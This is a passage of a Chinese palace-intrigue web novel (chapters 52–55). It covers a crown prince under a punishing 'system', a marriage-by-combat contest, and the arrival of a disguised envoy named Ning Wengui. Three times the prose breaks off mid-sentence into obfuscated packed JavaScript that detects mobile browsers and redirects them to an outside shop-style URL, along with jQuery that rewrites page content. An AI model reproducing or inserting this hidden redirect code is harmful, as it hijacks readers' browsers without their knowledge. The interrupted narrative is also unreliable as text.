既然如今已经渐渐想通了关窍,穆归衡便抛去了许多忧思,走路的步伐也变得轻快起来,终于有了点他这个年纪应有的少年朝气,不再那么苦大仇深了。 石涅瞧着他有些反常,问道:“殿下,咱们这是去哪呀?” 穆归衡唇边挂着微笑:“去看江姑娘比武招亲。” 说完又暗道一句不好,他对石涅如此和颜悦色,岂不是又违反了系统规则,要受惩罚了? 可是他停下脚步等待许久,也没有等来熟悉的痛感。只听到石涅不敢置信的碎碎念,有些聒噪。 怎么回事?穆归衡想,系统今日没睡醒么? “老夫从不睡觉。”系统的声音忽然响起,“不罚你,是因为现下没这个必要了。” 穆归衡这便反应过来,系统一直在听自己的心声。也就是说,它也听到了自己方才那一连串推测。 于是穆归衡向它确认道:我的分析可有谬误? 系统长叹道:“无误。” 穆归衡又问:你不罚我,是因为我这个太子已经不废而废,无法再影响本朝的兴亡了,对么? 系统呵呵一笑:“既然你的命运已经更改,将来注定要手刃新帝,那咱们就是朋友了。老夫为何要折磨自己的朋友呢?” 它顿了顿,声音中的笑意旋即消失不见:“不过老夫还是要提醒你一句,如果你无法在规定时限内完成【手足相残】的任务,老夫仍旧不会对你手软。” 穆归衡冷笑一声,用心声回道:做您老人家的朋友,门槛可够高的。 系统没有回应,大约是懒得与他废话。 石涅见穆归衡只顾着发呆,不回答自己的问题,急得都要抓耳挠腮了,追问道:“殿下,殿下!您不是拿我开涮呢吧?咱真要去看江小姐比武招亲啊?” 穆归衡回过神来,嗯了一声,拔腿便走。 石涅心里七上八下,跟在他身后快步走着。 行至擂台附近,穆归衡竟然径直向茶馆走去。熟门熟路,完全不像第一次来。 上到二楼,陶瑛她们尚未赶到,穆归衡便自顾自坐在了老地方。 石涅心里越发没底,假笑着问道:“殿下,您怎么坐这了?” 穆归衡故意挑了挑眉,看似不悦道:“怎么?这位子金贵,本宫坐不得么?” 石涅连忙解释:“不不不,卑职不是这个意思。只是……这位置是林庄主家堂弟订下的,您……哦!卑职知道了,一定是林庄主邀请您来的吧?” 问题一出口又觉得不对,太子在府中闷了这些日子,也没见林庄主上门拜访过呀? 穆归衡没有回答这个问题,只偏头看着他,一抬下巴道:“你也坐吧。” 石涅急忙摆手:“殿下说笑了,卑职怎能与您同席而坐?那也太没规矩了!” “怕什么?”穆归衡仍然直视着他,幽幽道,“又不是没有同席而坐过。” 石涅心里一沉,眼前太子的身影渐渐与林晏秋的“堂弟”重合。 穆归衡问店小二要了一壶清热祛火的菊花茶,把玩着手中瓷杯,对石涅和善微笑道:“怎么,本宫摘了面具,你反而不认识了?” 52. 涵州客现身惹注目,李家女临阵换…… 石涅现在很慌。 他与太子共坐一条长凳,顶着陶瑛与林晏秋打趣的目光,一声也不敢吱。 穆归衡没有看他,一手支着下巴凝望擂台的方向,望了许久才等到江御暮出现。 她的目光扫过台下的人群,偶尔往对面楼上瞥一眼,却没怎么停留,很快又收了回去。 只怕再多看一会,就要和穆归衡对视上了。她想。 说来也怪,前几日他来观战时,不都戴着面具么?今日怎么一反常态,不再遮遮掩掩了? 算了,管这些细枝末节做什么,正事要紧。 江御暮侧过身点了点头,费红英便冲台下高声道:“第一位,李节,李公子何在?” “在!” 那声音很是清亮,林晏秋循声望去,越看越觉得不对头。 “怎么了?”陶瑛发现她神情有异,忙问道,“此人有问题么?” 这一语瞬间引来了另外两人的注意,穆归衡与石涅齐刷刷看向林晏秋,都急着听她的回答。 “嗯……”林晏秋斟酌着措辞,“其实,我也不太确定……” 其余三人同时开口。 “别买关子了!” “直言便是。” “您倒是先说说呀!” 林晏秋依次看他们一眼,犹犹豫豫地把一句话掰成了几瓣讲。另外三人一个接一个追问起来,就跟说了段群口相声似的。 “我感觉——” “哦?” “那个李节啊——” “怎么着?” “大概可能也许保不齐——” “嘿,您倒把话说全乎喽!” “是位姑娘。” “啊?她呀?” 穆归衡打断石涅的捧哏,问道:“你是如何看出来的?” 林晏秋耸耸肩,摊手道:“在女扮男装这一项上,我经验丰富啊。有时候说不清缘由,只凭感觉便能在人群中认出同类,正所谓‘久病成良医’嘛。” 陶瑛还记着上次的“平分秋色”之仇,当下找到了机会回呛她一句:“这句话是这么用的吗!” 楼上这两人拌起嘴来,台上那两人已经开始交手了。 擂台下的人群中,李义碰碰陆一峰的胳膊,紧张兮兮地求情道:“队长,您看我妹妹都豁出这个份去了,您就高抬贵手,给她松一松标准吧……” 陆一峰却毫不退让:“说三十招,就三十招。这是我与令妹一早约定好的标准,怎能随意更改?” 李义有些不服气:“您分明就是故意给她设了个坎……” “我这是为她好。”陆一峰瞥他一眼,语重心长道,“做城防兵有什么好的?看着威风,个中辛劳旁人不知,难道你也不知?更何况,也不看看如今是个什么光景,饷钱都发不下来了!兄弟们的辞呈一张一张往上送,你可倒好,还鼓励亲妹妹往这火坑里跳。” 李义挠了挠头,闷声道:“那她乐意,我有什么办法啊……” 后半句话陆一峰没有听清,因为四周众人不约而同地发出了一阵喝彩声——为“李公子”的表现喝彩。 因为“他”打落了江御暮的一柄短剑,就在第二十一招。 昨日她们私下演练时,李节可从未试过这种战术。 江御暮目露欣赏之意,不错嘛,李节虽提前知道题目,却没有拘泥于最保守的解法,而是求新求变,让她这个出题人都为之一惊。 陶瑛也惊讶道:“这姑娘身手真好。” 林晏秋则向穆归衡问道:“会不会和陆一峰那场一样,是江小姐有意露出破绽,引对手掉入陷阱?” 穆归衡想了想才摇头道:“不像。” 台下李义的喝彩声迟来一步,像是刻意喊给陆一峰听的。 此时江御暮手中二去其一,只剩一柄短剑了,李节的长刀定能占得一时上风。 然而他们不知道的是,李节此举虽为自己挣来了一项优势,却也相当于另换了一份全然陌生的考卷。 江御暮昨日透给她的最后几道题全都成了废题,此时此刻,李节已经重新回到了起点,必得足够机敏才能顺利走完最后一段未知之路。 李节一鼓作气,挥刀便砍。因江御暮早就说过不用担心伤着她,李节便没了顾忌,每一招都透着狠劲,看着使人心惊肉跳。 江御暮只防不攻,步伐不断后撤,在观者眼中便是节节败退之兆。 很快就有赌客开始心慌:这场买了江小姐赢,不会赔得连饭都吃不上了吧!老天保佑老天保佑…… 他们脸色越难看,李义便越兴奋,故意对着陆一峰念叨:“二十七了——二十八了——二十九了——” 旁边有人耐不住好奇,插话问道:“你念叨什么呢?赔率吗?哪家赌坊给这么高?” 李义没工夫搭理他,第三十招一过,他便大声欢呼起来,引得周围人一阵侧目。 他并不在意那些目光,笑着用胳膊撞了撞陆一峰:“队长,愿赌服输啊!” 与此同时,陶瑛已经紧张得捏紧了帕子,问道:“你们两个内行怎么都成锯嘴葫芦了?倒是说句话啊,御暮不会真败给这位姑娘吧?” 石涅看得入迷,竟没注意到她这番话有不敬太子之嫌,一边嗑瓜子一边分析道:“放心吧,不会的。” 陶瑛这才松一口气,又问:“此话怎讲?” 石涅拍了拍嘴边的瓜子皮,答道:“李姑娘出手虽狠,却极耗体力,如此下去必定难以久战。江小姐应该是打算等到对手力竭之时,再一招致胜。” 果不其然,他话音才落,台上的局势便发生了逆转。 李节气喘吁吁,抬刀的动作有所迟滞,江御暮恰在此时疾步上前,一跃踩上刀背,再一跃翻至李节身后。 长刀笨重,李节还未来得及转身便感到颈边一凉,垂眸看去,原来是江御暮已然横剑在此。 “三十二招。”她放下短剑,轻声道,“恭喜。” 李节道了声谢,拱手一礼,还未来得及说些什么,忽被一阵由远及近的马蹄声吸引了注意。 是谁在闹市纵马?不怕伤着行人么? 李节双眉紧蹙,朝声音传来的方向张望。不光是她,台下诸人也在寻找声音的来源。 找到答案以后,他们才意识到一件事——骑马之人丝毫没有减速的意思 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13555774|136661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,眼看着就要冲进人群了。 马蹄带起呛鼻的尘土,在空中形成一片片灰黄的烟云,众人顾不上观战,纷纷向道路两侧跑去,给骑马之人让出通行的空间。 此人是个面容俊秀的年轻男子,身着一袭黑衣,细看才知衣上用黑色绣线绣着繁复密集的花纹。 他所骑的马亦生得高而健壮,目光炯炯,没有一丝杂色,全身毛发黝黑油亮。 众人甚少见到这样好的马,不由得看呆了,等回过神来,那人已经勒马停驻于擂台正前方,却没有下马,而是直接对江御暮喊话道: “江小姐,别来无恙啊!” 众人闻言哗然,都开始窃窃私语,一起猜测此人的身份与意图。 “能骑这么好的马,应该颇有家财吧?” “听这话茬,他和江小姐早就认识,今日是久别重逢啊!” “早就认识?那能是什么人……老友、老邻居、老青梅竹马?” “哎你们说,这人如此高调现身,到底想干什么呀?” 对此,陶瑛的猜测是:“怎么看着像来砸场子的呢……” 林晏秋瞟穆归衡一眼,略显刻意道:“我瞧着不太像,说不定是来表明心迹,下聘求娶的呢?” 穆归衡躲开她的目光,一言不发,连带着石涅也不敢发表意见。 台下众人莫衷一是,又将看戏的目光转向江御暮,等她表明态度。 江御暮自然认识此人,他是长公主的养子。说起来,她还得称他一句义兄。 其亲生父母都曾效力于长公主,可惜后来双双战死沙场。长公主感念旧部之忠义,便收养了他们的遗孤。 坦白讲,江御暮完全没有想到,母亲这次竟然会派他来配合自己的计划。 太惹眼了。 江御暮思忖片刻,微笑着回他一句:“阁下是……?” 众人又议论起来。 “好嘛,感情江小姐压根不认识这人啊!” “也不一定,万一是好久没见,她一下子没认出来呢?” “啧啧啧,你们这些年轻人,什么都不懂!依我看啊,江小姐这是故意逗他呢!” 然而事实上,江御暮只是为了确认对方此行使用的是哪一个身份,才假装没认出来他。 “江小姐真是贵人多忘事啊。”那人笑着调侃。 语毕,他从腰间解下一块清润莹白的玉佩,向台上抛去。 玉佩在空中划过一道精准的弧线,不偏不倚地落入江御暮手中。 白玉被雕成三指宽的山水牌,背面刻着一列小字——涵州宁问归。 长公主竟然让他用这个身份入京?这个名字在江湖上的风评可不怎么好哇。 怪不得他方才如此肆意妄为,纵马进入闹市横冲直撞,吓得路人纷纷躲避,原来是为了符合这个身份么? 不等江御暮说话,宁问归便轻踢马腹,作势欲走。 “喂!”江御暮没有喊出他的名字,只问,“你的玉佩不拿回去么?” “你收着吧,就当是见面礼。”他头也不回,语出惊人道,“咱们来日方长,我先去拜见令尊了。江小姐,再会。” 53. 长公主移棋改计划,江连镜冷语拒…… 宁问归说是去拜访江淮照,其实二人并不相熟,没有太多话题可聊。若要谈及近日的计划,又得等江御暮回府才能开始。 见了面之后,二人关起门来就陷入了一阵尴尬的沉默。半晌,江淮照率先憋出来一个问句:“公主殿下身体可好?” “一切都好。”宁问归答完,又顺着他的话茬继续问,“小殿下呢?也一切都好么?” 小殿下指的自然是江御暮,虽然她出生没多久,得月国便不复存焉,但长公主的部下们仍旧称她一句“小殿下”。 “都好,都好。”江淮照实在想不出更长的答案了,只能把一个词重复两遍。 紧接着又是一阵沉默,宁问归有点如坐针毡了。明明是假女婿,却比拜访真老丈人更不自在。 努力思索过后,他也只想出来一个干巴巴的新话题:“侯爷您身体还好吧?” 无心插柳柳成荫,这一问竟引来了江淮照的感慨。 “已经许久没有人称我一声‘侯爷’了。”他长叹道。 江淮照曾是得月国先太后亲封的忠勇侯,可是在绝大多数故国遗民的心中,他却是勾结逆臣的叛国奸贼,这“忠勇”二字也成了一种莫大的讽刺。 其实从某种意义上讲,他们对他的滔天恨意不无道理。因为在故国覆亡之后,他上奏请命,杀尽了故国皇室一息尚存的所有男丁。 在天下人看来,江淮照此举是善于揣度君心的表现——穆明上位后,一定迫切地想要根除前朝残余的皇室血脉,断绝其死灰复燃的一切希望。 然而彼时他刚刚登基,还未彻底理解“权力”二字的血腥魅力。换言之——他还在乎名声,还希望能在今后治理国家的过程中,逐渐扭转自己在民间的风评。 于是,江淮照便成了皇帝的鹰犬。 他力排众议,三奏三请,终于请来一道“便宜行事”的圣旨,从皇帝手中接过了这一串烫手山芋,然后把他们统统碾入尘泥,徒留两手血债,背负一身骂名。 在皇帝看来,江淮照是在帮他永绝后患,借以得到他的赞许,稳固其在新朝的地位。 只有江淮照自己知道,他是在帮“亡故”已久的长公主铲除后患,保证她是故国皇室留下的最后一支血脉。 更重要的是,与此同时,她也是先太后江远筝留下的唯一血脉,是江家鱼跃龙门的最后一丝希望。 宁问归毕竟小江淮照一辈,对那些往事不甚了解,也没有多问。周遭的空气仿佛短暂流通片刻,很快又凝住不动了。 好容易捱到江御暮回府,宁问归总算自在了些。 “见过小殿下。”这次才算他正式跟她打招呼,“别来无恙。” 江御暮把玉佩还给宁问归,与他对视道:“真没想到,我娘竟派了你来。” 宁问归用一根手指勾着玉佩的挂绳转了转,笑问:“您是没想到殿下会派我来,还是没想到她会派我用‘宁问归’这个身份来?” 说实话,都没想到。 但江御暮并未回答这个问题,而是直入正题道:“既然来了,就尽快准备吧,免得夜长梦多,再生变故。” 宁问归却面露难色道:“小殿下容禀,关于您佯装外嫁,借以带江家其余人等一起离开京城的计划,公主殿下与您的意见并不一致。” 江御暮有些意外:“如何不一致?” 宁问归道:“殿下希望您不要轻易放弃当朝太子这条大鱼,如果能用好这颗棋子,咱们将来要做的某些事便会容易许多。” 江御暮明显不太情愿:“可我——” 不等她反驳,宁问归便已猜到她的顾虑,安慰道:“公主殿下让我转告您,您要做的只是把这颗棋抓稳了,至于后面的事,都由她来布局。不必担心,她绝不舍得让您在后宅虚度时光。用不了太长时间,您二位便会母女重逢的。” 语毕,他从怀中摸出一封信,双手递上。 信封上工工整整写着一列小字,“爱女御暮亲启”,是长公主的笔迹。 江御暮拆开信封,宁问归与江淮照都自觉走远了些,留她独自读信。 不多时,他们便听到她轻笑了一声,还低声叹道:“原来如此。” 江御暮将书信收好,走到二人近旁向对宁问归道:“这批人何时出发?” 宁问归答道:“您若有办法成为太子妃,待婚讯传至涵州,他们便会即刻动身。但若此事实在难成,咱们也只好退而求其次,按您原定的计划往下走。只是……这样一来,红英姑娘肩上的担子可就重了。” 是啊,她在皇帝面前言之凿凿,说江御暮就是太子的正缘,还扯上了药炉续命一说。倘若江御暮骤然与旁人成婚,只怕费红英便要绞尽脑汁去圆这个谎了。 其实圆谎倒还不算太难,左一句天意因果,右一句祸福相依,糊弄糊弄,只要能编出一个新的“续命之法”取信于皇帝即可。 难的是——江家离开京城后,费红英在朝中便只能孤军独战,若是遇到变故,也无法及时与江御暮沟通求助,只能随机应变,尽量保全自身。 江御暮从前也考虑过,要不要带她一起回涵州,但费红英执意要留在京城。 她的原话是:“这点风险算什么?我娘当初在战场上那可是滚过箭雨的,我若怯阵苟安,岂不是丢了她的脸么?更何况,咱们好不容易才骗来这个国师的名头,怎么能说抛下就抛下?反正我不依。” 她们不得不承认,回到涵州的费红英只能女承母业,做回医者的老本行;留在京城的飞鸿影却大有可为,管他皇帝还是安王,都被她的“神通”迷了眼。 江御暮思索之际,又听宁问归补充道:“对了,公主殿下还说过,您若愿意依她的意思行事,便放手去做。若实在不愿与那个太子多有牵扯,殿下也不会勉强您。” 江御暮会心一笑:“知道了,我先试试吧。只是此事有些难办,我并没有十足的把握。” 宁问归知道,她这便是愿意遵循母命之意了。 如此一来,他肩上的担子瞬时轻了不少。 “小殿下,还有何事是我帮得上忙的吗?”他问。 江御暮微微抬头对上他的眼神,忽然灵光一闪,笑出了声。 宁问归一头雾水:“您笑什么?” 江御暮一手按上他的肩膀,轻轻拍了拍,正色道:“我终于想明白,我娘为什么会派你来了。” “您想明白了?我自己还糊涂着呢!”宁问归这下来了兴致,连神情都软了几分,“小殿下,您就大发慈悲,帮我解惑吧。” 江御暮伸出一只手朝他勾了勾:“玉佩给我。” 宁问归连忙照做,把玉佩放入 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13566539|136661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她的手心。 江御暮用食指点了点玉佩背面的小字,问他:“你这个身份在外头的风评如何?” 宁问归摇摇头道:“不怎么样。” 江御暮把玉佩收入自己怀中,微笑道:“这就对了!” 宁问归仍旧茫然不解:“怎么就对了呢?” 江御暮戳了戳他的脑门:“自己琢磨去!” 语毕转身便走,宁问归想不出答案,只得向一旁安静到几乎毫无存在感的江淮照问道:“侯爷,您琢磨出什么结果了吗?” 江淮照捻须沉思许久,答非所问道:“奇怪,连镜怎么还没回来呢?” 其实江连镜并非久久未归,只是恰好在江府门口遇上客人,这才耽误了许多时间。 江御暮出了书房,在回偏院的路上迎面碰到了江连镜。 “今儿奇了,遇上个稀客。”他快步走到她面前,“你猜他是谁?” 江御暮懒得陪他玩猜人名的游戏,随口道:“管他是谁,总不可能是太子吧?” 话音一落,江连镜脸上的表情就僵了片刻,紧接着竟眉飞色舞起来:“你怎么知道是太子?真是神了!” “哈?”江御暮不由有些诧异,“不会吧?” 世上真有这么巧的事么?她一瞌睡就有人来送枕头? “怎么不会?”江连镜抱着臂,微微扬起下巴,“太子说他有事找你,嘁,被我拒之门外了!” 江御暮听罢扶着额头,长叹一声道:“他人呢?还在门外?还是被你气走了?” “当然已经走了!不过应该没生气吧?我又没说什么重话……” ——哟,这不是太子殿下吗?真是贵足踏贱地呀! ——什么,找我长姐?这不合适吧?我们小门小户的,哪配邀太子殿下入府相见啊? ——再说了,我长姐尚未出阁,与外男私下相见算怎么回事?太子殿下不怕风言风语,我们江府还怕呢! ——道歉?哟哟哟您可折煞我们了!当初在国师的乔迁宴上,您不是挺理直气壮的吗?如今八辈子都过去了,您这时候想起来道什么歉? ——行了行了,殿下您快回府吧,我们还有正事要忙呢! ——还能是什么事呀?今儿我未来姐夫上门拜访,我急着给他请安去! ——殿下请吧,不送。 江连镜一人分饰两角,给江御暮复盘了方才的对话。说完最后一句,他已经从她的脸色看出来,自己大概是闯祸了。 “我、我说的是不是有点过分了?”他陪着小心,一边给江御暮捏肩一边问,“但你前两天不是说过吗?咱以后不指望太子了,不必再与他来往……” 江御暮深吸一口气:“不怪你。计划有变,我也是刚刚才得到消息。至于你对太子的态度……倒也不算太过分。他毕竟当众‘羞辱’过我,你为姐姐打抱不平,当面对他阴阳怪气几句,再正常不过了。” 江连镜听罢仍有些惴惴不安,向她确认道:“我刚刚是不是不该跟他提未来姐夫的事啊?” 江御暮想了想,忽而笑道:“不,让他知道也好。” 错有错着,正好给她铺了路。 “去擂台边设个牌子,就说比武招亲暂停一日。”江御暮吩咐道,“太子若再上门找我,你也照样把他拒之门外。” 54. 陶夫人救美出奇招,梅画师翻倍要高价 次日一早,擂台边偶有行人走走停停,都谈论着相似的话题。 “比武招亲暂停一日?嚯,怪不得昨日迟迟没公布今日的攻擂名单呢。” “欸,你们说,此事会不会与昨日那位骑马的公子有关啊?” “你这么一说,好像还真有可能!昨个他不是说要去拜访江尚书吗?说不定就是直接去提亲的!” “我看也是这么回事!大伙别忘了,昨日江小姐还收下了他送的玉佩呢!玉佩这东西是能随随便便送、随随便便收的吗?这态度,再清楚不过了。” “兄台说得有理,只是我仍有一事不明。他们若当真情投意合,直接撤了这比武招亲的擂台,私下议亲不就行了?为何只暂停一日呢?” “啧,这你都不懂!江尚书当初可是放出话来了,唯有在比武中胜出之人,才有资格迎娶他的掌上明珠。如今他若私下议定亲事,岂不是自打自脸嘛!” “嗐,江家若当真看中了这个姑爷,明日直接让他上台走个过场就是了。只要江小姐有意放水,输掉比武,不就抱得美郎归了?哈哈哈哈……” 此刻没有一个人注意到,他们正在议论的江御暮恰好路过此地,几乎与他们擦肩而过。 她头戴帷帽,遮住了面容。行至城门口,忽有一阵穿堂风吹开了她面前的纱帘。 也是巧了,江御暮目光一扫,就在盘查过往行人的卫兵里认出了熟人。 看来陆一峰很守承诺,李节终于得偿夙愿了。 江李二人相视一笑,没有多余的言语,江御暮出了城门,一径向城郊的双瑛布庄走去。 陶瑛一听护院通传江小姐来了,便亲自出门迎接。林晏秋本来也想去瞧瞧,陶瑛却怕有她这个生人在场,江御暮讲话时会多有顾虑,林晏秋只得作罢。 陶瑛出了院门,见江御暮一个人孤零零站在这里,委实不太习惯。对方还带着帷帽,搞得她都有些不敢认了。 还是江御暮主动掀开纱帘,跟她打了个招呼,陶瑛这才重新热情起来,一边把人往前厅请,一边询问对方的来意。 江御暮摘下帷帽放在一边,情绪沉沉道:“我的婚期比预想中近了许多,喜服却还没有着落呢,所以我想来你这加急定做几匹料子。” 顿了顿,她的声音变得更轻了:“其实……也是找个借口出门逛一逛,跟朋友说说话。否则只能整日闷在府里,跟不想见到的人打交道。” 陶瑛听罢眉头紧蹙,关切道:“比武招亲不是还没有结果吗?你的婚期怎么已经定下了?” 江御暮坐在椅子上,看着像提不起精神似的,愁眉苦脸道:“比武招亲就是个幌子,我父亲跟太子置气,故意搞了这么一出。实际上,他已经另外择好了女婿,急着把我扔给他呢。” 陶瑛惊道:“啊?是什么人?” 话已出口,她又忽然想到一个答案,忙追问道:“不会就是昨日那个张狂无礼,硬塞给你一块玉佩的人吧?” “是啊,人人都看出他张狂无礼,偏我父亲把他当个宝。” 说着,江御暮挤出一个苦笑,话音更添几分委屈。 “其实我父亲在官场混了这么多年,早成人精了,怎会看不出那人是个什么货色?说到底,不过是贪图他的家财罢了。” 左右江淮照的名声已经臭到了极点,再添一项卖女求财的罪名也不算什么。 陶瑛有些忿忿,不服道:“那人究竟是什么来头?能有多少家财?” 江淮照好歹也是户部尚书,经手的金银如流水,随便捞几滴就能砸死几家富户,怎么会见钱眼开到如此地步,为了些聘礼就把女儿拱手推出呢? 江御暮终于等到她问出这个问题,垂眸一叹道:“他名唤宁问归,是涵州人氏。陶瑛姐,你可听过这个名字?” 陶瑛想了想:“诶,你还真别说,这个名字是挺熟悉的……” 但是怎么个熟悉法来着?好像就在嘴边了,却说不出来,也记不清楚。 不过有一点可以确定,她肯定是从林晏秋口中听说这个名字的。 林晏秋每次去外地做生意,回来以后都会跟她讲讲当地的风土民情,或奇人异事。 其中有些人、有些事,陶瑛都还记得,只是一时对不上号,记不清是张三杀了李四家的牛,还是李四抢了王五家的地。 宁问归,宁问归。她将这个名字默念几遍,牢牢记下,打算一会找林晏秋问个清楚。 正这么想着,江御暮忽然将一块银锭放在桌子上,问道:“陶瑛姐,你看这些定金可够么?” 陶瑛做了这么久的生意,还是头一次遇上不想接的订单,正思索着该如何婉拒,江御暮却一语把她架到了高台上。 “陶瑛姐,这桩婚事从头到尾都由不得我做主,唯有婚服一项,我争来了一点微不足道的选择权。你就帮我最后一次吧,好吗?” 陶瑛这下不忍心拒绝了,只能硬着头皮应了声好。 送走江御暮以后,陶瑛直奔内院去找林晏秋,向她打听江家选中的女婿到底是何方神圣。 谁知林晏秋一听到这个名字就变了脸色,再三确认她没有记错姓名后,才道出此人的来历。 ——你可还记得,我曾给你讲过一支神秘商队的传闻?那商队的领头人就来自涵州,名唤宁问归。 ——这支商队去过许多地方,可是没人知道他们做的究竟是什么买卖。有人说是私盐私铁,有人说是古董明器,还有人说……他们做的是人命生意。 ——这种说法并非毫无根由。因为他们每到一个地方,三日之内,当地便会发生一桩命案。死者身份各异,贫富不等,但死状出奇的一致。 ——官府自然也查过,可是竟没有一条线索能指向他们。即便如此,人们对这支商队还是愈发惧怕,避之唯恐不及。 ——再说回那个宁问归。见过他的人,都说他行事嚣张跋扈,把谁都不放在眼里。而且他每到一处,身边都陪着不同的女伴,个个年轻貌美,却无一人能长久地留在他身边。 陶瑛越听越心慌,最后忍不住怒骂道:“江尚书也太荒唐了!怎么能把御暮往这样的火坑里推呢?” 林晏秋紧咬下唇,仔细想了想,突然改口道:“其实,这最后一条传闻是真是假还有待商榷。瑛娘你想,外界不是亦有类似的传闻,说太子暴虐成性,身边女人不断,换一个就死一个么?说起来,竟与宁问归如出一辙。” 陶瑛觉得这话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13575515|136661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有些道理,可还是不能放心:“就算他花心是假,可是那些命案呢?难道当真同他的商队毫无关系,一切都是巧合?还有,既然无人知晓他做的是什么生意,那他的买卖便很有可能见不得光!能平稳一日,难道还能平稳一辈子?御暮要是招来这么个夫婿,后半辈子如何能安生呢?” 林晏秋对江御暮有些恨铁不成钢,却因顾及陶瑛的感受,不好把话说得太重,只道:“她有那样一身好武艺,便是逃离江府,自己一个人也能活得很好。可她要是狠不下这个心来,不敢违抗父命,那就谁也救不了她。” 陶瑛却与她意见相左:“不,还有一个人能救她。” 穆归衡手里还有皇帝留下的赐婚圣旨,随时可以请出。江淮照就是再如何一意孤行,也不可能违抗圣旨。 …… 与此同时,太子府中。 护卫齐陌带着他的妻子走进院里,经石涅通传后,夫妻俩一起进了书房。但这两人站得很远,就好像不认识彼此似的。 齐陌率先开口道:“殿下,您要的画师,卑职已经给您找来了。” 说完给妻子使个眼色,示意她按照自己教的动作行礼。 “民妇梅如青,参见太子殿下。” “平身吧。”穆归衡看看她,又看看齐陌,问道,“你是哪家的画师?” “万琅阁。”梅如青道。 穆归衡又问:“擅长画什么?” 梅如青自信道:“山水,花鸟,人像,都能画。” 穆归衡点点头,接着问:“本宫需要一幅……姑且算是花鸟画吧。四尺整张,不必过于精细,有形即可。但是要得很急,不知梅夫人如何要价?” 梅如青不好判断,询问道:“不知殿下需要民妇何时交画?” 穆归衡抿了抿唇:“明日辰时之前,可乎?” “这不难。”梅如青听罢松一口气,还好,他的要求并不算高。 忆及入府之前,丈夫曾对她说过:“太子殿下不是吝啬的人,你一会别不敢开口,要价高些也没什么。只要别让殿下看出来咱俩认识就行,免得他觉得我以公谋私……” 梅如青便在以往的价格上翻了五倍,试探道:“五两银子,殿下觉得如何?” 穆归衡又看她一眼,淡淡道:“也罢,五两银子便算作定金,待你按时作完了画,再去账房领五两黄金吧。” 倍数一下翻得太多,这些钱梅如青拿了也不能安心,于是主动劝道:“殿下,民妇的画怕是配不上这个价,您还是——” 还没说完,穆归衡便打断道:“你们的孩子不是才过了百日么?若非石涅无意中提起,本宫竟全然不知。剩下那五两黄金,便当做本宫给孩子的贺礼吧。” 齐陌这才反应过来,原来太子一开始就知道梅如青是他的妻子。 二人连忙一起谢恩,紧接着又为隐瞒二人的关系而道歉。 穆归衡轻笑一声:“不必致歉。齐陌,去准备准备,今夜便让你夫人在府里住下吧。” 齐陌有些意外:“您的意思是,让她在这府中作画?” “正是。”穆归衡的表情很快变得严肃,笑意不再,“事情了结以前,任何人都不准走漏风声。” 55. 燕识风传语送诗笺,费红英建言解…… 陶瑛赶到太子府时,正赶上石涅出门。 “陶夫人,您怎么来了?”石涅惊讶道,“卑职正要去请您呢!” “请我?太子殿下让你去的?”陶瑛见他点头,也十分意外,“他找我什么事?” “卑职不知。”石涅估摸着不是什么大事,便有些嬉皮笑脸地问她,“对了,您找我们殿下什么事?” 陶瑛却一脸严肃:“找他救人。” 这下石涅不敢笑了,连忙把她迎入书房,继而退至门外守着。 穆归衡见她这么快就来了,正想问问是怎么回事,陶瑛却没给他留下插话的气口,还未来得及坐下就对他道:“你别说话,让我先说。” 抢占先机后,陶瑛便如竹筒倒豆子一般,将今早的所见所闻全都告诉了他。 不仅毫无保留,甚至还有点添油加醋。 宁问归纵是个十恶不赦之人,经她这么一转述,也连升三等,成了百恶不赦之徒。 穆归衡听罢,却并不像她预料中的那样担忧,反而平静如常。 因为他知道,江御暮与宁问归的婚事一定成不了。 可他又不能把这一点告诉陶瑛,否则叫他如何解释? ——你怎么知道这桩婚事成不了? ——在梦里知道的。 若真这么说了,陶瑛非觉得他有病不可。 “你说完了么?”穆归衡问。 那声音在陶瑛听来有些冷漠,以至于她也没好气道:“完了。你想说什么?” “想请你帮个忙。” 说着,穆归衡从手边的书下抽出一张名帖,推到陶瑛面前。 “把它送进江府,最好能直接送到江姑娘手中。” 陶瑛拿起名帖看了看,疑惑道:“这是何人的名帖?” “你表弟的。”穆归衡不假思索道。 “我什么时候有个表弟了?”陶瑛的第一反应便是反驳。 但是她很快就想起,穆归衡曾用“林晏秋堂弟”的假身份骗过石涅。 那么这个“陶瑛的表弟”,会不会也是他自己呢? 穆归衡见陶瑛的表情已然缓和下来,便知她猜中了关窍。 果然,陶瑛再开口时便一语中的:“这个时候把‘我表弟’的名帖送入江府,难不成,‘他’也想参加比武招亲?” 穆归衡点头:“正是。” 陶瑛噗地笑了,把名帖拍回桌上问他:“既然‘我表弟’把名帖交给了你,你自己替他送入江府就是了,找我做什么?” 